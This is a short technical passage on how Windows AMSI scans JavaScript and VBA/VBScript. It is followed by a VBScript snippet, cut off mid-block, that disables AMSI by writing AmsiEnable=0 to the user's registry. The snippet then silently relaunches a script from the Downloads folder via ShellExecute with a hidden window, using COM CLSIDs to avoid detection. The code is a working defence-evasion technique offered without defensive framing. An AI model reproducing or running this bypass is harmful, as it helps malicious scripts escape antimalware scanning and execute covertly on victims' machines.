AMSI has integration with both JavaScript and VBA (Visual Basic for Applications). This means that when scripts written in these languages are executed, AMSI can scan the content of the scripts to determine if they are malicious.
For example, when a VBA macro is executed within Microsoft Office, AMSI can log the macro’s behavior, trigger a scan on suspicious behavior, and stop a malicious macro upon detection.
Similarly, when JavaScript code is executed by a Windows component that integrates with AMSI (such as Windows Script Host), AMSI can scan the content of the script to determine if it is malicious.
regpath = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"
u = CreateObject("WScript.Network").UserName
e = 0
Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
On Error Resume Next
r = oWSS.RegRead(regpath)
If Err.Number <> 0 Then
oWSS.RegWrite regpath, "0", "REG_DWORD"
j = "c:\\users\\"+u+"\\downloads\\%s"
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute j,Null,"C:\\Windows\\System32",Null,0
e = 1
Err.Clear
End If
If Not e Then
e=1